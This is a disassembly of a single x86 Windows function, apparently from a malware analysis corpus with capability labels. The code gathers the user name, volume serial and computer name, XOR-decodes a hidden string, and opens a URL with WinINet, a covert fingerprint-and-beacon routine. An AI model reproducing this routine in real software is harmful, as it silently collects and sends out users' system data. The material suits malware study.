Function at 0x1000cac0
Capabilities:
Create http request
Encode data using xor
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000fb4c
mov eax, dword fs:[0]
push eax
sub esp, 0x74c
mov eax, dword [0x10016018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, 0xff
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x754], eax
lea eax, [ebp - 0x758]
push eax
lea ecx, [ebp - 0x1e0]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1000cd8b
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [ebp - 0x750]
push edx
push ebx
push ebx
lea eax, [ebp - 0x74c]
push eax
mov dword [ebp - 0x74c], 0x5c3a43
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
setne al
cmp al, bl
je 0x1000cd8b
lea ecx, [ebp - 0x754]
push ecx
lea edx, [ebp - 0x2e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x1000cd8b
lea edi, [ebp - 0x1e0]
call fcn.1000ca40
lea edi, [ebp - 0x2e0]
mov esi, eax
call fcn.1000ca40
add eax, esi
add eax, dword [ebp - 0x750]
lea ecx, [ebp - 0x6c8]
push eax
lea eax, [ebp - 0x74c]
push eax
push ecx
mov word [ebp - 0x74c], 0x6425
mov byte [ebp - 0x74a], bl
call dword [sym.imp.MSVCR100.dll_sprintf]
push 0x63
lea edx, [ebp - 0x77]
push ebx
push edx
call sub.MSVCR100.dll_memset
push ecx
mov eax, esp
lea ecx, [ebp - 0x6c8]
mov dword [eax + 0x14], 0xf
mov dword [eax + 0x10], ebx
mov dword [ebp - 0x78], 0x3d327826
mov byte [ebp - 0x74], bl
mov dword [ebp - 0x74c], esp
mov byte [eax], bl
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x1000cbe2
sub ecx, esi
lea edx, [ebp - 0x6c8]
push edx
mov esi, ecx
call fcn.1000d650
lea edi, [ebp - 0x748]
call fcn.1000ee50
mov esi, eax
push 0x63
lea eax, [ebp - 0xdf]
push ebx
mov dword [ebp - 4], ebx
push eax
mov byte [ebp - 0xe0], bl
call sub.MSVCR100.dll_memset
add esp, 0x28
xor eax, eax
mov cl, byte [eax + str.DXX_]
not cl
xor cl, 0xd3
mov byte [ebp + eax - 0xe0], cl
inc eax
cmp eax, 0x36
jl 0x1000cc23
push esi
lea edx, [ebp - 0xe0]
lea eax, [ebp - 0x72c]
call fcn.1000e090
push eax
lea edx, [ebp - 0x78]
lea eax, [ebp - 0x6f4]
mov byte [ebp - 4], 1
call fcn.1000e040
push eax
mov edx, 0x10013ca4
lea eax, [ebp - 0x710]
mov byte [ebp - 4], 2
call fcn.1000e040
add esp, 0xc
mov edi, eax
mov esi, 0x100169a4
mov byte [ebp - 4], 3
call fcn.1000d2a0
mov esi, 0x10
cmp dword [ebp - 0x6fc], esi
jb 0x1000cca5
mov edx, dword [ebp - 0x710]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x6fc], edi
mov dword [ebp - 0x700], ebx
mov byte [ebp - 0x710], bl
cmp dword [ebp - 0x6e0], esi
jb 0x1000ccd4
mov eax, dword [ebp - 0x6f4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x6e0], edi
mov dword [ebp - 0x6e4], ebx
mov byte [ebp - 0x6f4], bl
cmp dword [ebp - 0x718], esi
jb 0x1000ccfe
mov ecx, dword [ebp - 0x72c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x718], edi
mov dword [ebp - 0x71c], ebx
mov byte [ebp - 0x72c], bl
cmp dword [ebp - 0x734], esi
jb 0x1000cd28
mov edx, dword [ebp - 0x748]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0x446703ab
lea esi, [ebp - 0x6d8]
call fcn.1000e0e0
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
xor ecx, ecx
cmp dword [0x100169b8], 0x10
mov dword [ebp - 0x6d8], ecx
mov dword [ebp - 0x6d4], ecx
mov dword [ebp - 0x6d0], ecx
mov dword [ebp - 0x6cc], ecx
mov ecx, dword [0x100169a4]
mov dword [0x1001a608], eax
jae 0x1000cd76
mov ecx, 0x100169a4
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [0x1001ae98], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000eefe
mov esp, ebp
pop ebp
ret